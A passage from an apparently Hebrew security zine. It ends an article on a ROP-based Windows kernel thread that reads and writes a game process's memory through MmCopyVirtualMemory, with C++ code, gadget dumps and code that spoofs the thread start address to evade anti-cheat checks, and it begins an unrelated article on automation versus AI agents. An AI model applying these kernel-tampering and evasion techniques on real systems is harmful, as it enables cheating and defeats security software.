עכשיו כשיש לנו סנכרון בין התרד היוזרמודי לאחד שרץ בקרנל, נצטרך דרך לתקשר מידע בין שני התרדים ככה שהתוכנת יוזרמוד תוכל לבקש כתיבה ל-source ו-destination לפי בחירתו.

יש לא מעט דרכים לבצע תקשורת בין פרוססים בווינדוס, למשל תקשורת בעזרת Named pipes, שימוש בזיכרון עם מיפוי משותף דרך אובייקט, או תקשורת דרך ערכים ב-Registry. אני מעדיף שלא ליצור שום אובייקט שלא לצורך, ולכן החלטתי לתקשר דרך חוצץ זיכרון שיהיה קיים ביוזרמוד אותו יעתיק הקרנל על מנת לקרוא אותו, ויוכל גם לכתוב אליו מידע שרוצה לתקשר בחזרה.

בשביל לבצע את הכתיבה אני מתכנן להשתמש בפונקציה MmCopyVirtualMemory, ככה שהיוזרמוד יצטרך לספק מספר פרמטרים. נדרש להעביר שני כתובות לאובייקטים של EProcess, שהוא אובייקט בווינדוס המתאר פרוסס במערכת ההפעלה. הכתובת הראשונה הינה הפרוסס ממנו נעתיק את המידע, הכתובת השנייה תהיה הפרוסס אליו נכתוב את המידע.

בנוסף ניאלץ להעביר כתובת מקור וכתובת יעד, ובכך נוכל להעתיק מידע בין שני פרוססים. אבל, איך נוכל להשיג את כתובות ה-EProcess? בגלל שהמידע נשמר בקרנל, לא קיים API יוזרמודי בשביל קבלת הכתובות, לכן נצטרך למצוא אותם ב-InitStack שלנו ולשלוח אותם בחזרה לתוכנת יוזרמוד.

נוכל לבנות את המערכת שלנו ככה שהתרד בקרנל מחכה ל-PID של משחק המחשב, אותו ישלח תוכנת היוזרמוד. לאחר שהתרד קיבל אותו, הוא יקרא לפונקציה PsLookupProcessByProcessId המחזירה את כתובת ה-EProcess. נצטרך להשיג את כתובת ה-EProcess לפרוסס המשחק, לפרוסס הסיסטם שבקרנל (תמיד רץ תחת PID מספר 4), ולפרוסס היוזרמודי שלנו שהוא יהווה את הצ'יט למשחק. לאחר מכן הכתובות יישלחו בחזרה לתוכנת היוזרמוד.

ראשית ניצור מבנה נתונים שישמור את כל המידע שאנחנו רוצים לתקשר:

```
struct SharedMemoryData
{
    std::uint64_t TargetPid;
    std::uint64_t CheatEProcess;
    std::uint64_t GameEProcess;
    std::uint64_t SystemEProcess;
};
```

המבנה עוד יתרחב בעתיד, אבל לבנתיים זה מספיק טוב.

```
void RopThreadManager::BuildInitStack(StackManager* Stack, StackManager* PivotStack, const SharedMemoryData* SharedMem)
{
    // ... Open object handles

    // Get EProcess of usermode cheat (our current usermode program)
    Stack->AddFunctionCall("PsLookupProcessByProcessId", GetCurrentProcessId(), CheatEProcessOutputArg);

    // Get EProcess of system process (pid 4)
    Stack->AddFunctionCall("PsLookupProcessByProcessId", 4, SystemEProcessOutputArg);

    // Wait until the usermode sends us PID of the target process
    Stack->AwaitUsermode(UmOutputHandleArg);
    // Copy shared memory buffer into kernel, this is where the PID sent to us is stored
    Stack->ReadDataFromUsermode(SharedMem, KernelSharedMemoryAllocation);

    // Read PID value as first arg in rcx
    Stack->ReadIntoRcx(KernelSharedMemoryAllocation + offsetof(SharedMemoryData, TargetPid));
    // Set the output buffer which will store the game's EProcess as the second arg
    Stack->SetRdx(GameEProcessOutputArg);
    // Retrieve EProcess address of the game
    Stack->AddFunctionCall("PsLookupProcessByProcessId");

    // Communicate back all of the EProcess addresses we got to usermode
    Stack->WriteDataToUsermode(SharedMem + offsetof(SharedMemoryData, CheatEProcess), CheatEProcessOutputArg);
    Stack->WriteDataToUsermode(SharedMem + offsetof(SharedMemoryData, CheatEProcess), GameEProcessOutputArg);
    Stack->WriteDataToUsermode(SharedMem + offsetof(SharedMemoryData, CheatEProcess), SystemEProcessOutputArg);

    Stack->PivotToNewStack(*PivotStack);
}
```

הקוד עושה בדיוק את מה שרצינו, הוא מחכה לבקשה מהיוזרמוד, וכשהוא מקבל אותה הוא שולח ליוזרמוד בחזרה את הכתובות EProcess לשלושת הפרוססים שאנחנו רוצים שהיוזרמוד יוכל לכתוב או לקרוא מהם – הפרוסס של הצ'יט, הפרוסס של המשחק והפרוסס System.

את הבקשה מהיוזרמוד נוכל לשלוח כך, נוסיף גם מספר לוגים לבנתיים בשביל לוודא שהכל עבד:

```
void RopThreadManager::SendTargetProcessPid(const int TargetPid)
{
    // Send game process PID to kernel thread
    SharedMemory->TargetPid = TargetPid;
    SendPacket();

    // Now we should receive data back
    std::printf("Cheat EProcess: 0x%p\n", SharedMemory->CheatEProcess);
    std::printf("Game EProcess: 0x%p\n", SharedMemory->GameEProcess);
    std::printf("System EProcess: 0x%p\n", SharedMemory->SystemEProcess);
}
```

בנתיים נוכל לראות אם זה עובד על notepad אליו נתייחס כפרוסס של משחק המחשב:

```
int main()
{
    // ... Setup code

    RopThread.SpawnThread();

    const int TargetPid = Utils::GetPidByName("notepad.exe");
    if (!TargetPid)
     // ...

    RopThread.SendTargetProcessPid(TargetPid);

    std::cin.get();

    return EXIT_SUCCESS;
}
```

```
\\desktop-sek4g5g\Shared\roprw.exe
[+] RSP+0x890   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x898   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8a0   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8a8   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8b0   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8b8   Gadget add rax, rcx; ret; (0xFFFFF800C1E63F08)
[+] RSP+0x8c0   Gadget mov r9, rax; mov rax, r9; (add rsp, 0x28; )?ret; (0xFFFFF800C1EF3346)
[+] RSP+0x8c8   Gadget pop r8; add rsp, 0x20; pop rbx; ret; (0xFFFFF800C277E925)
[+] RSP+0x8d0   Value new r8 value (0xFFFFE6005DABE000)
[+] RSP+0x8d8   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8e0   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8e8   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8f0   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x8f8   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x900   Gadget mov rcx, r9; mov qword ptr [[a-zA-Z0-9]{2,3}], [a-zA-Z0-9]{2,3}; ret; (0xFFFFF800C269D96D)
[+] RSP+0x908   Gadget mov r11, rcx; mov r9d, edx; cmp edx, dword ptr [rax]; je 0x......; mov eax, 0xc000000d; ret; (0xF
FFFF800C216E1E7)
[+] RSP+0x910   Gadget mov rax, qword ptr [rsp]; mov rcx, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; add rsp,
 0x20; ret; (0xFFFFF800C27AF75C)
[+] RSP+0x918   Value new rax value (0x0000000000006000)
[+] RSP+0x920   Value new rcx value (0x0000000000000000)
[+] RSP+0x928   Value new rdx value (0xFFFFE6005DB07000)
[+] RSP+0x930   Value Padding (0xC0FEBABEC0FEBABE)
[+] RSP+0x938   Gadget xor qword ptr [rdx], rax; ret; (0xFFFFF800C203D6A8)
[+] RSP+0x940   Gadget mov rsp, r11; ret; (0xFFFFF800C213435A)

Cheat EProcess: 0xFFFF838F3650B080
Game EProcess: 0xFFFF838F36A7C080
System EProcess: 0xFFFF838F2D6DC040
```

אפשר לראות שקיבלנו כתובות בחזרה, נוכל נאמת אותן בעזרת WinDBG:

```
Command
0: kd> dt nt!_EPROCESS 0xFFFF838F3650B080 ImageFileName
   +0x338 ImageFileName : [15]  "roprw.exe"
0: kd> dt nt!_EPROCESS 0xFFFF838F36A7C080 ImageFileName
   +0x338 ImageFileName : [15]  "Notepad.exe"
0: kd> dt nt!_EPROCESS 0xFFFF838F2D6DC040 ImageFileName
   +0x338 ImageFileName : [15]  "System"
```

מעולה, הכל נראה תקין ואנחנו באמת מצביעים למידע הנכון.

כתיבה וקריאת זיכרון שרירותית

עכשיו כשיש לנו סנכרון ותקשורת בין התרד בקרנל לבין האחד שביוזרמוד, אנחנו רוצים שנוכל לאפשר לתוכנת היוזרמוד לבצע כתיבה וקריאה שרירותית. כפי שציינתי מוקדם יותר, נוכל לבצע זאת עם קריאה ל-MmCopyVirtualMemory. עכשיו יש לתוכנת יוזרמוד שלנו את הפרמטרים הדרושים בשביל להחליט על מי יהיה פרוסס ה-Source ומי יהיה פרוסס ה-Destination אליו המידע ייכתב.

בגלל שאנחנו שכבר סיימנו את תהליך האתחול ותקשרנו את ה-PID וה-EProcesses בין שני התרדים, הקוד העתקת זיכרון יהיה ממוקם ב-MainStack שרץ ב-while true לעומת ה-InitStack שהשתמשנו בו לפני.

ניאלץ להרחיב את מבנה הנתונים SharedMemoryData שיצרנו בשביל שנוכל לתקשר את כתובות המקור ויעד ואת כתובות ה-EProcess:

```
struct SharedMemoryData
{
    std::uint64_t WriteSrcEProcess;
    std::uint64_t WriteDstEProcess;
    std::uint64_t WriteSrcAddress;
    std::uint64_t WriteDstAddress;
    std::uint64_t TargetPid;
    std::uint64_t CheatEProcess;
    std::uint64_t GameEProcess;
    std::uint64_t SystemEProcess;
};
```

עכשיו בקרנל נוכל לקרוא את המידע שמועבר אלינו מהיוזרמוד, ולבצע קריאה לפי אותם הערכים.

בתמונה הבאה אני מציג את התהליך, וכיצד בדיוק אני קורא ל-MmCopyVirtualMemory בשביל לבצע את הכתיבה.

```
void RopThreadManager::BuildInitStack(StackManager* Stack,
                                      StackManager* PivotStack,
                                      const SharedMemoryData* SharedMem)
{
    // ... Open kernel handles to events

    Stack->AwaitUsermode(UmOutputHandleArg);

    // ... Read target PID from usermode and get EProcess
    // ... Copy EProcess' addresses to usermode

    // Alert usermode we finished executing the init stack
    Stack->SignalUsermode(KmOutputHandleArg);

    // Pivot into main stack
    Stack->PivotToNewStack(*PivotStack);
}

void RopThreadManager::BuildMainStack(StackManager* Stack, const SharedMemoryData* SharedMem)
{
    // Wait for usermode to send R/W request
    Stack->AwaitUsermode(UmOutputHandleArg);

    // Copy user shared memory into our buffer
    Stack->ReadDataFromUsermode(SharedMem, KernelSharedMemoryAllocation);

    // Perform memory copying based on usermode specified args
    // Set first arg (source EProcess)
    Stack->ReadIntoRcx(KernelSharedMemoryAllocation + offsetof(SharedMemoryData, WriteSrcEProcess));
    // Set fourth arg (destination address)
    Stack->SetRdx(KernelSharedMemoryAllocation + offsetof(SharedMemoryData, WriteDstAddress));
    Stack->AddGadget("mov rax, rdx; ret;");
    Stack->ReadRaxIntoRax();
    Stack->MovRaxIntoR9();
    // Set third arg (destination EProcess)
    Stack->SetRdx(KernelSharedMemoryAllocation + offsetof(SharedMemoryData, WriteDstEProcess));
    Stack->AddGadget("mov rax, rdx; ret;");
    Stack->ReadRaxIntoRax();
    Stack->MovRaxIntoR8();
    // Set second arg (source address)
    Stack->SetRdx(KernelSharedMemoryAllocation + offsetof(SharedMemoryData, WriteSrcAddress));
    Stack->AddGadget("mov rax, rdx; ret;");
    Stack->ReadRaxIntoRax();
    Stack->AddGadget("cmp esi, esi; ret;"); // Set ZF=1 so next gadget works
    Stack->AddGadget("mov rdx, rax; jne 0x......; add rsp, 0x28; ret;");
    Stack->AddPadding(0x28);
    // Add callee address
    Stack->AlignStack();
    Stack->AddFunctionAddress("MmCopyVirtualMemory");
    // Clean up shadow space + args after call
    Stack->AddGadget("add rsp, 0x38; ret;");
    // Set up shadow space
    Stack->AddPadding(0x20);
    // Set up stack args
    Stack->AddValue(sizeof(void*));         // Copy size
    Stack->AddValue(0);                     // Previous mode
    Stack->AddValue(DummyMemoryAllocation); // Output byte count

    // Alert usermode we're done copying
    Stack->SignalUsermode(KmOutputHandleArg);

    // Execute this stack again
    Stack->LoopBack();
}
```

בואו ננסה לקרוא את הבתים הראשונים של תוכנת היעד. נוסיף את הקוד הבא ליוזרמוד:

```
void RopThreadManager::SendReadRequest(const std::uint64_t SourceAddress,
                                       const std::uint64_t DestAddress)
{
    SharedMemory->WriteSrcEProcess = SharedMemory->GameEProcess;
    SharedMemory->WriteDstEProcess = SharedMemory->CheatEProcess;
    SharedMemory->WriteSrcAddress = SourceAddress;
    SharedMemory->WriteDstAddress = DestAddress;
    SendPacket();
}

int main()
{
   // ...

    const int TargetPid = Utils::GetPidByName("notepad.exe");

    RopThread.SendTargetProcessPid(TargetPid);

    const std::uint64_t NotepadBase = Utils::GetModuleBaseAddress(TargetPid, "notepad.exe");

    void* ReadBuffer = malloc(4096);
    RtlZeroMemory(ReadBuffer, 4096);

    RopThread.SendReadRequest(NotepadBase, (std::uint64_t)ReadBuffer);

    std::printf("Read first 2 bytes of notepad.exe: %c%c\n",
                ((char*)ReadBuffer)[0],
                ((char*)ReadBuffer)[1]);

    std::cin.get();
    return EXIT_SUCCESS;
}
```

כשנריץ את התוכנה נראה שהכל עבד, וכי הצלחנו לקרוא את ה-MZ magic number:

בשביל לבצע כתיבה נוכל פשוט לשלוח פקודה המחליפה בין EProcess המקור לבין EProcess היעד.

```
void RopThreadManager::SendWriteRequest(const std::uint64_t SourceAddress,
                                        const std::uint64_t DestAddress)
{
    SharedMemory→WriteSrcEProcess = SharedMemory→CheatEProcess;
    SharedMemory→WriteDstEProcess = SharedMemory→GameEProcess;
    SharedMemory→WriteSrcAddress = SourceAddress;
    SharedMemory→WriteDstAddress = DestAddress;
    SendPacket();
}
```

מעולה! השגנו את מה שרצינו – כתיבה וקריאת זיכרון שרירותית מ-Thread שרץ לגמרי בעזרת ROP.

בודקים את הכלי מול אנטי-צ'יט דמה

קיימים מספר אנטי-צ'יטים אופן סורס פשוטים באינטרנט, אחד מהם נקרא UnKover וניתן לקרוא את הקוד שלו כאן. אותו האנטי-צ'יט מכיל טכניקות זיהוי שדיברתי עליהם בתחילת המאמר, כמו קריאת הסטאק של תרדים שונים בעזרת NMI Callbacks ושליחת APC-ים. נוכל לקמפל את הדרייבר ולטעון אותו בזמן שהכלי שלנו שוהה על המכונה. גם לאחר כמה שעות של כתיבה וקריאת מידע – לא דווחו שום מציאות חשודות!

הנה רשימת הבדיקות שמבצע האנטי-צ'יט על פי ה-README של הפרוייקט:

Techniques implemented:

- NMI Callbacks: Periodically sends Non-Maskable Interrupts (NMIs) to each core and analyzes the currently running thread's call stack for any pointers to unbacked memory.
- APC StackWalks: Same as the NMI check, but with an APC queued to each system thread.
- System thread analysis: Periodically check all system threads for start-addresses pointing to unbacked memory.
- Driver Object analysis: Periodically check all driver objects registered on the system, and check if their DriverEntry points to unbacked memory.
- .text section comparison: Periodically check drivers for .text section thats differ in-mem vs on-disk, to detect driver "stomping"
- detecting threads removed from the `PspCidTable`

הסטאק שלנו מכיל כתובות לגיטימיות המצביעות ל-ntoskrnl, ככה ששתי הטכניקות הראשונות לא עולות עלינו. כתובת ההתחלה של ה-Thread שלנו אינה חשודה, כי אנחנו מצביעים לגאדג'ט המבצע את ה- stack pivot הראשוני שלנו, ולכן הטכניקה השלישית אינה שימושית אל מול הכלי שלנו. אנחנו לא מתריעים את הטכניקה הרביעית, כי אנחנו לא טוענים שום דרייבר זדוני והדרייבר הפגיע שלנו כבר עשה unload ממזמן. גם אין שום הבדל בסקשנים בעלי הרשאות RX בין הדיסק לזיכרון, ואנחנו לא מחקנו שום רשומות thread-ים, ככה שגם שתי הטכניקות האחרונות לא מזהות שום דבר חשוד במערכת ההפעלה.

אז מה אנטי-צ'יטים יכולים לעשות?

אז עכשיו כשיש לנו כלי עובד, מה אנטי-צ'יט אמיתי יכול לעשות מולו? במידה ומספיק אנשים היו משתמשים בכלי, האנטי-צ'יטים היו ממהרים לחפש לחתום את הכלי כמה שיותר מהר.

כרגע, ה-Start address שלנו הינו משאיר עקבות, בגלל שהוא תמיד מצביע לגאדג'ט מסויים שמבצע pivot לסטאק, ככה שניתן לחתום אותו. עם זאת, כמפתח הכלי, זה לא בעיה להחביא.

כשהסתכלתי ב-Process hacker שמתי לב שלהמון System threads יש כתובת התחלה זהות, רק מהתמונה הבאה ניתן לראות מספר דוגמאות לכך:

TID	CPU	Cycles delta	Start address	Priority
512			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
600			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
700			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	6
704			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	6
924			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
1008			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
1244			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
2944			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4780			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4788			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4808			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4816			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4844			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4876			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4884			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4892	0.04	5,523,706	dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
4900			dxgkrnl.sys!NtGdiDdDDIOpenSyncObjectFromNtHandle2+0x39f0	12
500			dxgkrnl.sys!NtGdiDdDDISubmitCommandToHwQueue+0x3960	Normal
4656			dxgkrnl.sys!NtGdiDdDDISubmitCommandToHwQueue+0x3960	Normal
712	0.06	7,129,317	dxgmms2.sys!VidMmInterface+0x4c630	8
716		1,241,016	dxgmms2.sys!VidMmInterface+0x98aa0	7
508			ExecutionContext.sys+0x88e0	Normal
516			ExecutionContext.sys+0x88e0	Normal
520			ExecutionContext.sys+0x88e0	Normal
524			ExecutionContext.sys+0x88e0	Normal
528	2.00	254,555,542	ExecutionContext.sys+0x88e0	Normal
3064			HTTP.sys+0x11190	3
3068			HTTP.sys+0x11190	Normal
1164			HTTP.sys+0x82af0	Normal

לכן, מה שאני יכול לעשות הוא פשוט – לקרוא את כל הכתובות התחלה שקיימות עם כפילויות בתרדים שונים, לבחור אחד מן הכתובות באופן אקראי ולזייף את ה-StartAddress של התרד בעזרת כתיבה לערכים ב-EThread:

```
void StackManager::ModifyThreadField(const std::uint64_t FieldOffset,
                                     const std::uint64_t NewValue)
{
    this->SetRcx(NewValue);
    this->MovRcxIntoR9();

    // rax = EThread + FieldOffset
    this->AddFunctionCall("PsGetCurrentThread");
    this->SetRcx(FieldOffset);
    this->AddGadget("add rax, rcx; ret;");

    // [rax] = New field value
    this->AddGadget("mov qword ptr \[rax\], r9; ret;");
}

void StackManager::ModifyThreadStartAddress(const std::uint64_t NewStartAddress)
{
    this->ModifyThreadField(EThreadStartAddressOffset, NewStartAddress);
    this->ModifyThreadField(EThreadWin32StartAddressOffset, NewStartAddress);
}

void RopThreadManager::BuildInitStack(StackManager* Stack, ... )
{
    std::uint64_t RandomValidThreadAddress = FindRandomValidThreadAddress();
    Stack->ModifyThreadStartAddress(RandomValidThreadAddress);
   // ...
}
```

כך נוכל לזייף את הכתובת לכל מה שרק נרצה:

טוב, אז אם בדיקה של כתובות ההתחלה של תרדים זה לא אופצייה, אולי המפתחים יכולים להסתכל על הסטאק שלנו ולמצוא דברים מוזרים:

התמונה מציגה דוגמא של פחות או יותר איך הסטאק שלי נראה בזמן נתון לפי הגאדג'טים בהם אני משתמש. אז נכון, למשל – זה מאוד מוזר שפונקציה שבכלל קשורה ל-HyperV כמו HvlInvokeFastExtendedHypercall תקרא למשהו כמו BgkSetCursor, אבל כיצד אמורים לזהות דבר שכזה באופן **תוכנתי**?

חשבתי על כך שניתן לשמור את כל שמות הפונקציות שמופעיות בעזרת סימבולים, ושליחה שלהן לשרת עבור ניתוח על ידי LLM כלשהו, עם זאת עדיין מדובר בתהליך מורכב. זאת מכיוון שאין להם סימבולים עבור כל הדרייברים, והכמות מידע שהם יצטרכו לשלוח ולנתח בשרת על שחקני המשחק היא עצומה – הם גם ייאלצו לשלוח את אותו המידע משחקנים רבים שאינם מרמאים. גם אם בדיקה כזו נעשית, אני יכול לצמצם את טווח בחירת הגאדג'טים שלי לכאלו שכוללות רק פונקציות שיכולות לקרוא אחד לשני באופן לגיטימי. למרות שזה ייקשה עליי כתוקף, זה לא נראה כמו פתרון מאוד מבטיח עבורם.

פרט חתים נוסף שמצאתי בכלי הוא ה-Event שאנו יוצרים על מנת לתקשר. כרגע הוא בעל שם שאינו משתנה – אבל את זה ניתן לפתור בקלות רבה על ידי החבאת האובייקט תחת שם שאינו קבוע, ככה שאני לא מחשיב את זה כבדיקה טובה מספיק. האנטי-צ'יט יוכל להכריח שפיצ'ר המעבד CET (Control flow Enforcement Technology) יהיה דלוק, מה שיהרוג את השימוש ב-ROP בכללי על כלל המעבדים. עם זאת אני מעריך כי

יקח זמן רב עד שנגיע למצב בו הרוב המוחלט של המעבדים שמשתמשים בהם השחקנים יתמכו בפיצ'ר בצורה טובה מספיק בשביל שלאף אחד לא תהיה בעיה להדליק את הפיצ'ר. בנוסף, כיום הוא לא דלוק כברירת מחדל.

חתימה סטטית של הסטאק לא תהווה פתרון טוב עבור האנטי-צ'יטים, כי אני יכול פשוט להרים שרת שבונה סטאק רנדומלי עבורי כל הרצה, עם גאדג'טים שונים ובגודל שונה, כפי שציינתי בתחילת המאמר. בכנות אין לי המון רעיונות טובים עבור הגנה, וכל הרעיונות שכן היו לי לא לוקחים המון מאמץ עבור תוקף בשביל לפתור או למזער משמעותית. לפחות לא לעומת כמות המאמץ שתידרש מן המגנים.

עתיד הכלי

במהלך מחקר ופיתוח הכלי עלו לי רעיונות רבים עבור דרכים לשפר את הכלי, על חלקם כבר דיברתי במאמר. אציין אותם כאן במידה ומישהו סקרן לגבי עתיד הכלי, ומה ניתן לשפר ולהוסיף.

- שרת אינטרנטי אשר מקבל את גרסת ה-ntoskrnl של המשתמש, השרת בונה את הסטאק בעצמו ובוחר בגאדג'טים אקראיים, ומוסיף קוד מת שלא מבצע כלום בשביל להקשות על חתימות. לבסוף השרת שולח את הסטאק לצד הקליינט של הכלי שיטען ויריץ אותו
- במקום יצירה של פרימיטיב כתיבה/קריאה של זיכרון, נוכל ליצור מערכת RPC (Remote procedure call) שלמה שתאפשר ליוזרמוד לשלוט על איזו פונקציה נקראת, ועם אילו פרמטרים, מה שיאפשר ליוזרמוד לקרוא לפונקציות שרירותיות בקרנל דרך ROP
- להחליף את MmCopyVirtualMemory בתרגום כתובות וכתיבה לזיכרון פיזי, בגלל שהמאמר כבר נהיה ארוך, החלטתי שלא להוסיף את זה לכלי בנתיים
- אנטי-צ'יטים מסויימים כמו Easy anti cheat התחילו לדרוס את אוגר ה-CR3 של המשחק, האחראי על כתובות הבסיס של מיפויי הזיכרון הוירטואלי. בגלל שהם כותבים דורסים את האוגר עם ערך לא נכון, כאשר מתבצעת קריאה או כתיבה למשחק, יש Exception שהם מטפלים בו, ומתקנים את הערך כשהם רואים שהקריאה או כתיבה בוצעה מן המשחק עצמו. הנושא יחסית מורכב ואפשר לכתוב רק על זה מאמר שלם. בחרתי לא להתעמק בכך כי רציתי להתפקס במאמר על הכלי עצמו, ובנוסף מייקרוסופט החלו לחסום את הדרייברים של האנטי-צ'יט שמבצעים את הטכניקת הגנה הזו החל מהגרסא 23H2 והלאה
- נדרשת דרך לחלץ את כתובת הבסיס של המשחק בשביל למצוא את הכתובות עליהן נרצה לבצע פעולות כתיבה וקריאה. את זאת ניתן לבצע בקלות על ידי קריאה של כתובות הבסיס ברשימה הקיימת בתוך EProcess->PEB->Ldr
- תמיכה ב-HVCI עבור ה-ArbitraryCaller שלנו שאנחנו צריכים בשביל ליצור את התרד ולאלקץ את הזיכרון לסטאק

סיכום

במאמר סקרנו דרכים בהם משתמשים אנטי-צ'יטים בשביל להגן על משחקי המחשב. הצגתי טכניקה לעקיפת מוצרי ההגנה על ידי הרצת קוד בקרנל בעזרת ROP. הרעיון פשוט – במקום להריץ קוד משלנו היותיר עקבות, יצרנו System thread שנראה רגיל לחלוטין, אך הוא בעצם מריץ צירוף גאדג'טים של ROP בשביל לאפשר כתיבה וקריאה של זיכרון לפרוסס המשחק. הכלי מכיל יתרונות רבים, עם זאת קיימים עוד דברים שניתן לשפר ולהוסיף בעתיד.

על המחבר

שמי אריאל טרי, בן 20 ומשרת ביחידה טכנולוגית בצה"ל.

אשמח לענות על שאלות, לדון על המאמר ולשמוע פידבק בחשבון ה-X או הלינקדאין שלי.

תודה רבה על הקדשת זמנכם, מקווה שנהניתם מהקריאה!

מקורות מידע

- https://github.com/xtremegamer1/xigmapper
- https://github.com/TheCruZ/kdmapper
- https://winbindex.m417z.com/
- https://github.com/eversinc33/unKover
- https://loldrivers.io/
- https://github.com/sashs/Ropper
- https://ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/windows-x64-calling-convention-stack-frame
- https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/stack-alignment
- https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming
- https://vergiliusproject.com/kernels/x64/windows-11
- https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-
- https://github.com/donnaskiez/ac
- https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf
- https://digitalwhisper.co.il/files/Zines/0x5C/DW92-1-ROPS.pdf

אוטומציה? סוכן AI? מי זה בכלל נתן?

מאת עומר מושקטל

הקדמה

אנחנו חיים בתקופה שבה כל מה שסביבנו מקבל תווית של "חכם" - טלפון חכם, שעון חכם, אפילו מקרר חכם שמעדכן אותך באפליקציה שנגמר החלב (יופי. רק חבל שאין לו API ל-Slack, שיעשה אוטומציה ל־buy-milk בערוץ #coffee-ops).

אז אם ככה, למה שלא נדבר גם על עבודה חכמה? זה בדיוק מה שאנחנו הולכים לדבר עליו היום.

מה היה לנו עד היום?

במשך שנים המושג "אוטומציה" שלט בעולם הטכנולוגי.

אוטומציה היא הדרך שלנו לגרום למחשב (או שרת מרוחק כלשהו) לעשות במקומנו דברים שחוזרים על עצמם: קיבלת מייל עם קובץ מצורף? תשמור אותו אוטומטית בגוגל דרייב.

מישהו מילא טופס באתר? תעדכן שורה חדשה באקסל.

התהליכים האלה חוסכים לנו זמן, מקטינים סיכוי לטעויות, ובעיקר נותנים לנו להרגיש חכמים כי "המערכת עובדת לבד" וחוסכת לנו כסף שהיה יכול ללכת לעובדים.

אבל! יש גם בעיה, אוטומציה היא "קשיחה", היא מבוססת על חוקים ברורים של "אם זה -> אז זה". אין מקום ליצירתיות, אין הבנה של הקשר, אם יש חריגה בתהליך - הכל נשבר.

אני זוכר את הפעם הראשונה שנחשפתי לכלי אוטומציה. השתמשתי ב-Zapier כדי להעביר הודעות מטופס באתרים של לקוחות שלי ל־Google Sheets, זה עבד, אבל כל פעם שהשדה קצת השתנה, הכל נפל. אחר כך גיליתי את N8N, שהציע יותר גמישות. ומשם, ברגע שהתחלתי לשלב גם מודלי AI בתהליך, נפל לי האסימון: "רגע, זה כבר לא אוטומציה רגילה - זה ממש סוכן חכם".

אז... לא עוד אוטומציות?

לא בדיוק, גם היום אנחנו צריכים לדעת להבדיל בין מה היא אוטומציה לבין סוכן ה־AI וגם לדעת להבדיל בין הצורך עצמו בהקשר המשימה.

פתאום אנחנו לא מדברים רק על מערכת שמבצעת הוראות, אלא על "ישות" שיודעת להבין הקשר, לקבל החלטות, ולהגיב בצורה שונה בהתאם למצב.

לצורך העניין בואו נסקור כמה דוגמאות פשוטות:

- אם יש לנו תהליך פשוט שמופעל על ידי טריגר של זמן (לדוגמה בכל בוקר), בודק עם Weather API גנרי כלשהו את מזג האוויר ושולח לנו סיכום במייל. האם מדובר באוטומציה או בסוכן AI? כמובן שאוטומציה.
- אם יש לנו תהליך שרץ כל יום מעצמו שמתפרס על פני עשרה אתרי חדשות, לוקח את הכתבות הכי פופולריות, מאחד אותם למערך אחד, מעביר אותו דרך CHAT GPT שמבצע סיכום לכתבות הפופולריות ביותר, מוסיף תמונות ושולח את כל זה במייל.

  אז האם כאן מדובר באוטומציה או בסוכן AI? אז האמת שגם כאן מדובר על אוטומציה. למרות שיש שימוש ב-AI ולמרות שהוא רץ בעצמו, אבל גם כאן מדובר על תהליך סדור וגנרי.
- טוב, אז פה כבר חייב להיות סוכן. נחזור לדוגמה הראשונה שלנו ונדמה שיש לנו צ'אט כלשהו שאנחנו שואלים אותו - האם אני צריך לקחת מטרייה היום?

  הסוכן שלנו מבין "אוקיי אני צריך מידע על מזג האוויר", הוא הולך בעצמו ל-Weather API, מבין את מזג האוויר ומחזיר תשובה.

  זה כבר לא משחק שבו יש לנו חוקים קשיחים, אלא זה עולם של גמישות ואולי אפשר להגיד אפילו "חשיבה".

אז אם ננסה באמת במשפט להבין את ההבדלים:

אוטומציה = תהליך סדור, קבוע וגנרי.

סוכן AI = תהליך דינמי, גמיש ומבין הקשרים.

בסופו של דבר, אם אתם רוצים שהמערכת שלכם תעשה בדיוק מה שאמרתם לה כנראה שאתם צריכים לבחור באוטומציה.

אם אתם רוצים שהיא תחשוב קצת בשבילכם הגיע הזמן שתתחילו לשחק עם סוכן AI.

למה זה חשוב עכשיו?

